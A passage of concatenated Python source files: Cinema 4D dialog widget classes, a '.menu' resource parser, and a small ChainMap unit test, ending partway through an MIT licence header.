self.alloc_id('scrollgroup'),
c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT,
scroll_flags,
initw,
inith
)
dialog.GroupBegin(
group_id,
c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT,
cols,
rows,
"",
0
)
if borderspace:
dialog.GroupBorderSpace(*borderspace)
if itemspace:
dialog.GroupSpace(*itemspace)
BaseGroupWidget.render(self, dialog)
if scroll_flags:
dialog.GroupEnd()
dialog.GroupEnd()
dialog.GroupEnd()
self._layout_changed = False
def init_values(self, dialog):
super(Group, self).init_values(dialog)
if self.checkbox:
dialog.SetBool(self.get_named_id('group'), self._value)
def update(self, dialog):
id = self.get_named_id('group', None)
if self._layout_changed and id is not None:
# No update() call when child elements are re-rendered.
self._layout_changed = False
for child in self.children:
child.save_state()
dialog.LayoutFlushGroup(id)
for child in self.children:
child.on_render_begin()
for child in self.children:
child.render(dialog)
child.update_state(dialog)
self.update_state(dialog)
dialog.queue_layout_changed(id)
else:
BaseGroupWidget.update(self, dialog)
def command_event(self, id, msg):
if self.checkbox and id == self.get_named_id('group'):
self._value = self.dialog.GetBool(id)
return self.send_event('value-changed', self)[1]
return super(Group, self).command_event(id, msg)
@property
def value(self):
return self._value
@value.setter
def value(self, value):
self._value = value
dialog = self._dialog
if dialog:
dialog.SetBool(self.get_named_id('group'), value)
class Text(BaseWidget):
def __init__(self, text='', layout='left,middle', color=None, id=None):
BaseWidget.__init__(self, id)
self.layout = layout
self.text = text
self.color = color
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
dialog.AddStaticText(self.alloc_id('text'), layout_flags, name=self.text)
if self.color:
dialog.set_color(self.get_named_id('text'), c4d.COLOR_TEXT, self.color)
def set_color(self, color):
dialog = self.dialog
if dialog:
dialog.set_color(self.get_named_id('text'), c4d.COLOR_TEXT, color)
color = self.color
class Spacer(Text):
def __init__(self, layout='fill-x', **kwargs):
Text.__init__(self, text='', layout=layout, **kwargs)
class Separator(BaseWidget):
def __init__(self, type='horizontal', id=None):
BaseWidget.__init__(self, id)
self.type = type
def render(self, dialog):
if isinstance(self.parent, MenuGroup):
dialog.MenuAddSeparator()
elif isinstance(self.parent, Combobox):
dialog.AddChild(self.parent.get_named_id('box'), -1, '')
elif self.type == 'vertical':
dialog.AddSeparatorV(0)
elif self.type == 'horizontal':
dialog.AddSeparatorH(0)
else:
raise ValueError('invalid separator type: {!r}'.format(self.type))
class Button(BaseWidget):
def __init__(self, layout='left,middle', text='', iconid=None, id=None):
BaseWidget.__init__(self, id)
self.layout = layout
self.text = text
self.iconid = iconid
self._bmp_gui = None
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
if self.iconid is not None:
try:
iconid = int(self.iconid)
except ValueError:
iconid = getattr(c4d, self.iconid, 0)
icon = c4d.gui.GetIcon(iconid) or {}
bc = c4d.BaseContainer()
bc[c4d.BITMAPBUTTON_BUTTON] = True
bc[c4d.BITMAPBUTTON_ICONID1] = 0
self._bmp_gui = dialog.AddCustomGui(self.alloc_id('btn'),
c4d.CUSTOMGUI_BITMAPBUTTON, "", layout_flags,
icon.get('w', 0), icon.get('h', 0)/2, bc)
if icon:
self._bmp_gui.SetImage(icon)
else:
self._bmp_gui = None
dialog.AddButton(self.alloc_id('btn'), layout_flags, name=self.text)
def command_event(self, id, msg):
if id == self.get_named_id('btn', None):
return self.send_event('click', self)[1]
return False
class Checkbox(BaseWidget):
def __init__(self, layout='left,middle', text='', value='false', id=None):
BaseWidget.__init__(self, id)
self.layout = layout
self.text = text
self._value = value
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
id = self.alloc_id('chk')
dialog.AddCheckbox(id, layout_flags, 0, 0, name=self.text)
value = self._value
if isinstance(value, basestring):
value = (value == 'true')
dialog.SetBool(id, value)
def command_event(self, id, bc):
if id == self.get_named_id('chk', None):
return self.send_event('value-changed', self)[1]
return False
def save_state(self):
if self.get_named_id('chk', None) is not None:
self._value = self.value
@property
def value(self):
return self.dialog.GetBool(self.get_named_id('chk'))
@value.setter
def value(self, value):
self._value = value
self.dialog.SetBool(self.get_named_id('chk', value))
class Combobox(BaseGroupWidget):
"""
Represents a Cinema 4D combo-box widget. When constructing from XML,
one can use #Item elements for its children or pass a comma-separated
list for its *items* parameter.
When passing a string for *items*, `--` can be used to insert a separator.
# Events
- value-changed
"""
def __init__(self, items=None, layout='fit-x,middle', value=None, id=None):
BaseGroupWidget.__init__(self, id)
if isinstance(items, basestring):
items = items.split(',')
if items is not None:
for item in items:
if isinstance(item, basestring):
item = Separator() if item == '--' else Item(item)
self.pack(item)
self.layout = layout
self._value = value
self._index = None
self._layout_changed = True
self._items = []
def save_state(self):
self._index = self.active_index
def render(self, dialog):
if self._index is None and self._value is not None:
# Search for a matching item with the specified value or ID.
for index, child in enumerate(self._children):
if child.text == self._value:
break
else:
for index, child in enumerate(self._children):
if child.ident == self._value:
break
else:
index = None
self._index = index
layout_flags = get_layout_flags(self.layout)
box_id = self.alloc_id('box')
dialog.AddComboBox(box_id, layout_flags)
if self._children:
self._items = []
BaseGroupWidget.render(self, dialog)
if self._index is None and self._children:
self._index = 0
if self._index is not None:
self.active_index = self._index
def layout_changed(self):
self._layout_changed = True
manager = self.manager
if manager:
manager.layout_changed()
def update(self, dialog):
id = self.get_named_id('box', None)
if self._layout_changed and id is not None:
self._layout_changed = False
self.save_state()
self.update_state(dialog)
dialog.FreeChildren(id)
for index, name in enumerate(self._items):
dialog.AddChild(id, index, name)
self.active_index = self._index
else:
BaseGroupWidget.update(self, dialog)
def pack(self, widget):
if not isinstance(widget, (Item, Separator)):
raise TypeError('Combobox can only contain Item/Separator')
BaseGroupWidget.pack(self, widget)
def command_event(self, id, bc):
if id == self.get_named_id('box', None):
self._index = self.dialog.GetInt32(id)
return self.send_event('value-changed', self)[1]
return False
def add(self, name):
self._items.append(name)
@property
def active_index(self):
return self._index
@active_index.setter
def active_index(self, value):
id = self.get_named_id('box', None)
if value is None:
self._index = None
if id is not None:
self.dialog.SetInt32(id, -1)
else:
self._index = int(value)
self.dialog.SetInt32(id, self._index)
@property
def active_item(self):
if self._index is not None and self._index in xrange(len(self.children)):
return self.children[self._index]
return None
@active_item.setter
def active_item(self, item):
if not isinstance(item, Item):
for child in self.children:
if child.ident == item:
item = child
break
else:
raise ValueError('no Item with ident {!r}'.format(item))
try:
index = self.children.index(item)
except ValueError:
raise ValueError('this Item is not in the Combobox')
self.active_index = index
class Item(BaseWidget):
"""
An item inside a #Combobox. Additionally to its displayed *text* and
#BaseWidget.id, it also has an *ident* member which can be used to store
additional information to identify the Item.
"""
def __init__(self, text='???', ident=None, delegate=None, id=None):
BaseWidget.__init__(self, id)
self.text = text
self.ident = ident
self.delegate = delegate
def render(self, dialog):
parent = self.parent
if self.delegate:
self.delegate(parent)
else:
parent.add(self.text)
class Quicktab(BaseGroupWidget):
"""
Represents a Quicktab Custom GUI. Unlike the #Combobox, it does not accept
any child widgets but is instead managed manually and filled from code.
# Events
- value-changed
"""
def __init__(self, layout='fill-x,middle', multiselect='true', value=None,
id=None):
BaseGroupWidget.__init__(self, id)
self.layout = layout
self.multiselect = bool_cast(multiselect)
self._value = value
self._textcol = None
self._items = []
self._checked_count = 0
self._gui = None
self._layout_changed = False
def clear(self):
try:
return self._items
finally:
self._items = []
if self._gui:
self._gui.ClearStrings()
self.layout_changed()
def add(self, string, color=None, checked=False, visible=True):
item = {'string': str(string), 'color': color, 'checked': checked, 'visible': visible}
self._items.append(item)
self.layout_changed()
def is_checked(self, index):
if isinstance(index, basestring):
for item_index, item in enumerate(self._children):
if item.ident == index:
index = item_index
break
else:
return False
return self._items[index]['checked']
def set_checked(self, index, checked, mode='new'):
assert mode in ('new', 'add')
checked = bool(checked)
item = self._items[index]
if item['checked'] == checked:
return
item['checked'] = checked
gui = self._gui
if mode == 'new':
self._checked_count = 1
# Deselect all other items.
for i, item in enumerate(self._items):
if i != index:
item['checked'] = False
if gui: gui.Select(i, False)
else:
self._checked_count += int(checked)
# Update the GUI of the current item.
if gui: gui.Select(index, checked)
def set_color(self, index, color):
item = self._items[index]
item['color'] = color
if self._gui:
self._gui.SetTextColor(index, color)
def set_visible(self, index, visible):
item = self._items[index]
if item['checked']:
self._checked_count -= 1
item['visible'] = visible
if self._checked_count == 0:
# Check the first available item instead.
for index, item in enumerate(self._items):
if item['visible']:
self.set_checked(index, True)
break
self.layout_changed()
def layout_changed(self):
self._layout_changed = True
manager = self.manager
if manager:
manager.layout_changed()
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
multiselect = self.multiselect
bc = c4d.BaseContainer()
bc[c4d.QUICKTAB_BAR] = False
bc[c4d.QUICKTAB_SHOWSINGLE] = True
bc[c4d.QUICKTAB_SPRINGINGFOLDERS] = True # ??
bc[c4d.QUICKTAB_SEPARATOR] = False
bc[c4d.QUICKTAB_NOMULTISELECT] = not multiselect
self._gui = dialog.AddCustomGui(
self.alloc_id('gui'),
c4d.CUSTOMGUI_QUICKTAB,
"",
layout_flags,
0,
0,
bc
)
self._layout_changed = True
if self._children:
self._items = []
BaseGroupWidget.render(self, dialog)
def command_event(self, id, bc):
if id == self.get_named_id('gui', None):
# Update the selection state of all elements.
gui = self._gui
self._checked_count = 0
for index, item in enumerate(self._items):
item['checked'] = gui.IsSelected(index)
if item['checked'] and item['visible']:
self._checked_count += 1
return self.send_event('value-changed', self)[1]
return False
def update(self, dialog):
id = self.get_named_id('gui', None)
if self._layout_changed and id is not None:
self._layout_changed = False
gui = self._gui
gui.ClearStrings()
visible_count = 0
self._checked_count = 0
first_visible_index = None
for index, item in enumerate(self._items):
if not item['visible']: continue
if first_visible_index is None:
first_visible_index = index
visible_count += 1
if item['checked']:
self._checked_count += 1
gui.AppendString(index, item['string'], item['checked'])
if item['color'] is not None:
gui.SetTextColor(index, item['color'])
# Make sure that at least one item is selected.
if visible_count > 0 and self._checked_count == 0:
self.set_checked(first_visible_index, True)
gui.DoLayoutChange()
BaseGroupWidget.update(self, dialog)
def init_values(self, dialog):
if self._value is not None:
values = self._value.split(',')
mode = 'new'
for index, item in enumerate(self._children):
if self._value == '*' or item.ident in values:
self.set_checked(index, True, mode)
mode = 'add'
if not self.multiselect:
break
@property
def active_item(self):
if len(self._items) != len(self.children):
raise RuntimeError("Quicktab._items out of sync with Quicktab.children")
for item, child in zip(self._items, self.children):
if item['checked']:
return child
return None
class LinkBox(BaseWidget):
"""
Represents a link box GUI.
# Events
- value-changed
"""
def __init__(self, layout='fill-x,middle', id=None):
BaseWidget.__init__(self, id)
self.layout = layout
self._layout_changed = False
self._gui = None
def get_link(self, doc=None, instanceof=0):
if self._gui:
return self._gui.GetLink(doc, instanceof)
return None
def set_link(self, node):
if self._gui:
self._gui.SetLink(node)
def layout_changed(self):
self._layout_changed = True
manager = self.manager
if manager:
manager.layout_changed()
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
bc = c4d.BaseContainer()
self._gui = dialog.AddCustomGui(
self.alloc_id('gui'),
c4d.CUSTOMGUI_LINKBOX,
"",
layout_flags,
0,
0,
bc
)
self._layout_changed = True
def command_event(self, id, bc):
if id == self.get_named_id('gui', None):
return self.send_event('value-changed', self)[1]
return False
class Input(BaseWidget):
def __init__(self, layout='left,middle', type='string', slider='false',
arrows='true', min=None, max=None, minslider=None, maxslider=None,
helptext=None, is_password='false', unit='float', quadscale='false',
step='1', minw='0', minh='0', id=None, value=None):
BaseWidget.__init__(self, id)
assert type in ('string', 'integer', 'float')
actual_type = {'string': str, 'integer': int, 'float': float}[type]
if value is None:
value = actual_type()
self.layout = layout
self.type = type
self.slider = bool_cast(slider)
self.arrows = bool_cast(arrows)
self.min = actual_type(min) if min is not None else None
self.max = actual_type(max) if max is not None else None
self.minslider = actual_type(minslider) if minslider is not None else None
self.maxslider = actual_type(maxslider) if maxslider is not None else None
self.helptext = helptext
self.is_password = bool_cast(is_password)
self.unit = _unit_map[unit] if isinstance(unit, str) else unit
self.quadscale = bool_cast(quadscale)
self.step = actual_type(step)
self.minw = int(minw)
self.minh = int(minh)
self._value = value
self.add_event_listener('visibility-changed', self.__visibility_changed)
def __visibility_changed(self, _):
value = self.value
self.value = ''
yield
self.value = value
def save_state(self):
if self.get_named_id('field', None) is not None:
self._value = self.value
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
id = self.alloc_id('field')
if self.type == 'string':
edtflags = c4d.EDITTEXT_PASSWORD if (self.is_password == 'true') else 0
dialog.AddEditText(id, layout_flags, self.minw, self.minh,
editflags=edtflags)
elif self.type in ('integer', 'float'):
if self.slider:
method = dialog.AddEditSlider if self.arrows else dialog.AddSlider
else:
method = dialog.AddEditNumberArrows if self.arrows else dialog.AddEditNumber
method(id, layout_flags, self.minw, self.minh)
else:
raise RuntimeError("Input.type invalid: {0!r}".format(self.type))
if self._value is not None:
self.value = self._value
if self.helptext:
dialog.SetString(id, self.helptext, False, c4d.EDITTEXT_HELPTEXT)
self._update_color(dialog)
def _update_color(self, dialog):
if self.helptext and not self.value:
color = c4d.Vector(0.4)
else:
color = None
dialog.set_color(self.get_named_id('field'), c4d.COLOR_TEXT_EDIT, color)
def command_event(self, id, bc):
if id == self.get_named_id('field', None):
if self.type == 'string':
data = {'in_edit': bc.GetBool(c4d.BFM_ACTION_STRCHG)}
self._update_color(self.dialog)
else:
data = {'in_drag': bc.GetBool(c4d.BFM_ACTION_INDRAG)}
res = bool(self.send_event('input-changed', self, data)[1])
res = res | bool(self.send_event('value-changed', self)[1])
return res
return False
@property
def value(self):
dialog = self.dialog
id = self.get_named_id('field')
if self.type == 'string':
return dialog.GetString(id)
elif self.type == 'integer':
return dialog.GetInt32(id)
elif self.type == 'float':
return dialog.GetFloat(id)
else:
raise RuntimeError("Input.type invalid: {0!r}".format(self.type))
@value.setter
def value(self, value):
dialog = self.dialog
id = self.get_named_id('field')
if self.type == 'string':
if value is None:
value = ''
dialog.SetString(id, value)
self._update_color(dialog)
elif self.type == 'integer':
min, max, minslider, maxslider = self._get_limit_props(
c4d.MINLONGl, c4d.MAXLONGl)
self.dialog.SetInt32(id, int(value), min, max, self.step,
False, minslider, maxslider)
elif self.type == 'float':
min, max, minslider, maxslider = self._get_limit_props(
sys.float_info.min, sys.float_info.max)
self.dialog.SetFloat(id, float(value), min, max, self.step,
self.unit, minslider, maxslider, self.quadscale, False)
else:
raise RuntimeError("Input.type invalid: {0!r}".format(self.type))
def set_helptext(self, text):
if text is None:
text = ''
dialog = self.dialog
if dialog:
dialog.SetString(self.get_named_id('field'), text, False, c4d.EDITTEXT_HELPTEXT)
update = bool(self.helptext) != bool(text)
self.helptext = text
if update:
self._update_color(dialog)
def _get_limit_props(self, lower_limit, upper_limit):
conv = int if self.type == 'integer' else float
either = lambda a, b: a if a is not None else b
min = either(self.min, lower_limit)
max = either(self.max, upper_limit)
# Invert min/minslider and max/maxslider to match the C4D behavour.
if self.minslider is not None:
min, minslider = either(self.minslider, min), min
else:
minslider = min
if self.maxslider is not None:
max, maxslider = either(self.maxslider, max), max
else:
maxslider = max
return conv(min), conv(max), conv(minslider), conv(maxslider)
class FileSelector(Group):
"""
Represents a file selector widget.
"""
def __init__(self, layout='fill-x,middle', type='load', id=None):
super(FileSelector, self).__init__(layout=layout, id=id)
self.type = type
self.def_path = None
self._input = Input(type='string', layout='fill-x,middle')
self._input.add_event_listener('value-changed', self._on_input_change)
self._button = Button(text='...')
self._button.add_event_listener('click', self._on_button_press)
self.pack(self._input)
self.pack(self._button)
def _on_input_change(self, input):
self.send_event('value-changed', self)
def _on_button_press(self, button):
flags = {
'load': c4d.FILESELECT_LOAD,
'save': c4d.FILESELECT_SAVE,
'directory': c4d.FILESELECT_DIRECTORY
}[self.type]
path = c4d.storage.LoadDialog(flags=flags, def_path=self.def_path)
if path:
self._input.value = path
self.send_event('value-changed', self)
return True
def set_helptext(self, text):
self._input.set_helptext(text)
@property
def value(self):
return self._input.value
@value.setter
def value(self, value):
self._input.value = value
class UserArea(BaseWidget):
def __init__(self, layout='left,middle', id=None):
BaseWidget.__init__(self, id)
self.layout = layout
self._user_area = None
self._layout_changed = False
def layout_changed(self):
self._layout_changed = True
manager = self.manager
if manager:
manager.layout_changed()
@property
def user_area(self):
return self._user_area
@user_area.setter
def user_area(self, user_area):
self._user_area = user_area
try:
id = self.get_named_id('ua')
except KeyError:
pass
else:
self.dialog.AttachUserArea(user_area, id)
self.layout_changed()
def render(self, dialog):
layout_flags = get_layout_flags(self.layout)
id = self.alloc_id('ua')
dialog.AddUserArea(id, layout_flags)
if self.user_area:
dialog.AttachUserArea(self.user_area, id)
self._layout_changed = True
def update(self, dialog):
id = self.get_named_id('ua', None)
if self._layout_changed and id is not None:
self.update_state(dialog)
self.dialog.queue_layout_changed(id)
else:
BaseWidget.update(self, dialog)
class MenuGroup(BaseGroupWidget):
"""
Represents a group for a menu. There should be one and only one #MenuGroup
for every dialog. The root #MenuGroup does not require a name.
Can only container other #MenuGroup, #MenuItem and #Separator instances.
"""
def __init__(self, name='???', id=None):
BaseGroupWidget.__init__(self, id)
self.name = name
def pack(self, widget):
#if not isinstance(widget, (MenuItem, MenuGroup, Separator)):
# raise TypeError('MenuGroup can only have MenuItem/MenuGroup/Separator as children')
BaseGroupWidget.pack(self, widget)
def render(self, dialog):
id = self.alloc_id('menu')
is_outter = True
parent = self.parent
while parent:
if isinstance(parent, MenuGroup):
is_outter = False
break
parent = parent.parent
if is_outter:
dialog.MenuFlushAll()
else:
dialog.MenuSubBegin(self.name)
BaseGroupWidget.render(self, dialog)
if is_outter:
dialog.MenuFinished()
else:
dialog.MenuSubEnd()
class MenuItem(BaseWidget):
"""
Represents a menu item.
# Events
- click: The menu item has been clicked (not received for plugin ID items).
"""
def __init__(self, name='???', plugin=None, id=None):
BaseWidget.__init__(self, id)
self.name = name
self.plugin = plugin
def render(self, dialog):
if self.plugin is not None:
if isinstance(self.plugin, basestring):
try:
plugin_id = int(self.plugin)
except ValueError:
plugin_id = getattr(c4d, self.plugin)
else:
plugin_id = self.plugin
dialog.MenuAddCommand(plugin_id)
else:
id = self.alloc_id('menu')
dialog.MenuAddString(id, self.name)
def command_event(self, id, bc):
if id == self.get_named_id('menu', None):
if self.send_event('click', self)[1]:
return True
# Also propagate the event up the MenuGroup hierarchy.
parent = self.parent
while isinstance(parent, MenuGroup):
if parent.send_event('click', self):
return True
parent = parent.parent
return False
return False
class DialogPin(BaseWidget):
"""
The dialog "pin" that allows a user to click and drag the dialog to embedd
it into another dialog window and the Cinema 4D layout.
"""
def render(self, dialog):
dialog.AddGadget(c4d.DIALOG_PIN, 0)
class Component(BaseGroupWidget):
"""
Wraps another widget in a sub #WidgetManager.
"""
def __init__(self, id=None):
super(Component, self).__init__(id)
self.sub_manager = WidgetManager(dialog=None, parent=None, root=self)
def __getitem__(self, widget_id):
return self.sub_manager[widget_id]
@BaseGroupWidget.manager.setter
def manager(self, manager):
# Important: Do not use BaseGroupWidget.manager.__set__() as that
# will propagate the parent manager to the child widgets!
BaseWidget.manager.__set__(self, manager)
self.sub_manager.remove()
if manager:
manager.add_child(self.sub_manager)
def pack(self, widget):
if not isinstance(widget, BaseWidget):
raise TypeError('expected BaseWidget')
widget.remove()
widget.parent = self
widget.manager = self.sub_manager
self._children.append(widget)
self.layout_changed()
def load_xml_string(self, xml, globals=None, _stackframe=0):
self.pack(load_xml_string(xml, globals, _stackframe=_stackframe+1))
def load_xml_file(self, filename, globals=None, _stackframe=0):
self.pack(load_xml_file(filename, globals, _stackframe=_stackframe+1))
<file_sep>/lib/nr.c4d/src/nr/c4d/menuparser.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import nr.strex as strex
import re
import string
try:
import cStringIO as StringIO
except ImportError:
try:
import StringIO
except ImportError:
import io as StringIO
lexer_rules = [
strex.Regex('comment', '#.*$', re.M, skip=True),
strex.Regex('ws', '\s+', re.M, skip=True),
strex.Regex('menu', 'MENU\\b'),
strex.Regex('command', 'COMMAND\\b'),
strex.Keyword('bopen', '{'),
strex.Keyword('bclose', '}'),
strex.Keyword('end', ';'),
strex.Charset('sep', '-'),
strex.Charset('symbol', string.ascii_letters + '_' + string.digits),
strex.Charset('number', string.digits)
]
class MenuNode(object):
# Always a MenuContainer instance or None.
parent = None
def _assert_symbol(self, symbol, res):
if not hasattr(res, symbol):
raise AttributeError('Resource does not have required symbol %r' %
symbol)
def _compare_symbol(self, node_id, res):
r"""
Sub-procedure for sub-classes implementing a ``symbol`` attribute.
"""
if self.symbol:
if node_id == self.symbol:
return True
self._assert_symbol(self.symbol, res)
if getattr(res, self.symbol) == node_id:
return True
return False
def render(self, dialog, res):
pass
def find_node(self, node_id, res):
r"""
New in 1.2.7. Find a node by it's identifier.
"""
return None
def remove(self):
r"""
New in 1.2.8. Remove the node from the tree.
"""
if self.parent:
self.parent.children.remove(self)
self.parent = None
def copy(self):
r"""
New in 1.2.8. Return a copy of the Menu tree.
"""
raise NotImplementedError
class MenuContainer(MenuNode):
r"""
This class represents a container for Cinema 4D dialog menus
containg menu commands. The class can be rendered recursively
on a dialog to create such a menu.
.. attribute:: symbol
The resource-symbol for the menu-container that can be
used to obtain the name of the menu. No sub-menu will be
created with rendering the instance when this value
evaluates to False (eg. None value).
"""
def __init__(self, symbol):
super(MenuContainer, self).__init__()
self.children = []
self.symbol = symbol
def __str__(self):
lines = ['MenuContainer(%r, ' % self.symbol]
for child in self.children:
for l in str(child).split('\n'):
lines.append(' ' + l)
if len(lines) > 1:
lines.append('')
lines[-1] += ')'
return '\n'.join(lines)
def __iter__(self):
# For partial backwards compatibility where MenuParser.parse()
# return a list.
return iter(self.children)
def add(self, child):
self.children.append(child)
child.parent = self
def render(self, dialog, res):
if self.symbol:
self._assert_symbol(self.symbol, res)
dialog.MenuSubBegin(res.string(self.symbol))
try:
for child in self.children:
child.render(dialog, res)
finally:
if self.symbol:
dialog.MenuSubEnd()
def find_node(self, node_id, res):
if self._compare_symbol(node_id, res):
return self
for child in self.children:
node = child.find_node(node_id, res)
if node:
return node
def copy(self):
new = MenuContainer(self.symbol)
for child in self.children:
new.add(child.copy())
return new
class MenuSeperator(MenuNode):
def __str__(self):
return 'MenuSeperator()'
def render(self, dialog, res):
dialog.MenuAddSeparator()
def copy(self):
return MenuSeperator()
class MenuCommand(MenuNode):
def __init__(self, command_id=None, symbol=None):
super(MenuCommand, self).__init__()
assert command_id or symbol
self.command_id = command_id
self.symbol = symbol
def __str__(self):
return 'MenuCommand(%s, %r)' % (self.command_id, self.symbol)
def render(self, dialog, res):
command_id = self.command_id
if not command_id:
self._assert_symbol(self.symbol, res)
command_id = getattr(res, self.symbol)
dialog.MenuAddCommand(command_id)
def find_node(self, node_id, res):
if self.command_id and self.command_id == node_id:
return self
elif self._compare_symbol(node_id, res):
return self
return None
def copy(self):
return MenuCommand(self.command_id, self.symbol)
class MenuString(MenuNode):
def __init__(self, symbol):
super(MenuString, self).__init__()
self.symbol = symbol
def __str__(self):
return 'MenuString(%r)' % (self.symbol,)
def render(self, dialog, res):
self._assert_symbol(self.symbol, res)
dialog.MenuAddString(*res.string(self.symbol))
def find_node(self, node_id, res):
if self._compare_symbol(node_id, res):
return self
def copy(self):
return MenuString(self.symbol)
class MenuItem(MenuNode):
r"""
This class represents an item added via
:meth:`c4d.gui.GeDialog.MenuAddString`. It is not created from this
module but may be used create dynamic menus.
.. attribute:: id
The integral number of the symbol to add.
.. attribute:: string
The menu-commands item string.
"""
def __init__(self, id, string):
super(MenuItem, self).__init__()
self.id = id
self.string = string
def __str__(self):
return 'MenuItem(%r, %r)' % (self.id, self.string)
def render(self, dialog, res):
dialog.MenuAddString(self.id, self.string)
def find_node(self, node_id, res):
if node_id == self.id:
return self
def copy(self):
return MenuItem(self.id, self.string)
class MenuParser(object):
def _assert_type(self, token, *tokentypes):
for tokentype in tokentypes:
if not token or token.type != tokentype:
raise scan.UnexpectedTokenError(token, tokentypes)
def _command(self, lexer):
assert lexer.token.type == 'command'
lexer.next('number', 'symbol')
command_id = None
symbol_name = None
if lexer.token.type == 'number':
command_id = int(lexer.token.value)
elif lexer.token.type == 'symbol':
symbol_name = lexer.token.value
else:
assert False
return MenuCommand(command_id, symbol_name)
def _menu(self, lexer):
assert lexer.token.type == 'menu'
lexer.next('symbol')
items = MenuContainer(lexer.token.value)
lexer.next('bopen')
while True:
lexer.next('menu', 'command', 'sep', 'symbol', 'bclose')
if lexer.token.type == 'bclose':
break
require_endstmt = True
if lexer.token.type == 'menu':
item = self._menu(lexer)
require_endstmt = False
elif lexer.token.type == 'command':
item = self._command(lexer)
elif lexer.token.type == 'sep':
item = MenuSeperator()
elif lexer.token.type == 'symbol':
item = MenuString(lexer.token.value)
else:
assert False
items.add(item)
if require_endstmt:
lexer.next('end')
return items
def parse(self, lexer):
menus = MenuContainer(None)
lexer.next('menu', 'end')
print(lexer.token)
if lexer.token.type == 'menu':
menu = self._menu(lexer)
menus.add(menu)
return menus
def parse_file(filename):
''' Parse a ``*.menu`` file from the local file-system.
Returns a #MenuContainer.
'''
return parse_fileobject(open(filename, 'r'))
def parse_string(data):
''' Parse a ``*.menu`` formatted string. Returns a #MenuContainer. '''
fl = StringIO.StringIO(data)
fl.seek(0)
return parse_fileobject(fl)
def parse_fileobject(fl):
''' Parse a file-like object. Returns a #MenuContainer. '''
scanner = strex.Scanner(fl.read())
lexer = strex.Lexer(scanner, lexer_rules)
parser = MenuParser()
return parser.parse(lexer)
<file_sep>/lib/nr.types/tests/test_map.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from nose.tools import *
from nr.types.map import ChainMap, MapAsObject
def test_ChainDict():
a = {'foo': 42}
b = {'bar': 'spam'}
c = {}
d = ChainMap({}, a, b, c)
assert_equals(str(d), 'ChainMap({})'.format({'foo': 42, 'bar': 'spam'}))
assert_equals(d['foo'], a['foo'])
assert_equals(d['bar'], b['bar'])
assert_equals(sorted(d.keys()), ['bar', 'foo'])
d['hello'] = 'World'
assert_equals(a, {'foo': 42})
assert_equals(b, {'bar': 'spam'})
assert_equals(c, {})
assert_equals(d, {'foo': 42, 'bar': 'spam', 'hello': 'World'})
del d['foo']
assert_equals(a, {'foo': 42})
assert_equals(b, {'bar': 'spam'})
assert_equals(c, {})
assert_equals(d, {'bar': 'spam', 'hello': 'World'})
d['foo'] = 99
assert_equals(a, {'foo': 42})
assert_equals(b, {'bar': 'spam'})
assert_equals(c, {})
assert_equals(d, {'foo': 99, 'bar': 'spam', 'hello': 'World'})
d.clear()
assert_equals(a, {'foo': 42})
assert_equals(b, {'bar': 'spam'})
assert_equals(c, {})
assert_equals(d, {})
def test_ObjectFromMapping():
d = ChainMap({'a': 42, 'b': 'foo'}, {'c': 'egg'})
o = MapAsObject(d)
assert_equals(o.a, 42)
assert_equals(o.b, 'foo')
assert_equals(o.c, 'egg')
assert_equals(dir(o), ['a', 'b', 'c'])
<file_sep>/lib/nr.c4d/src/nr/c4d/normalalign.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
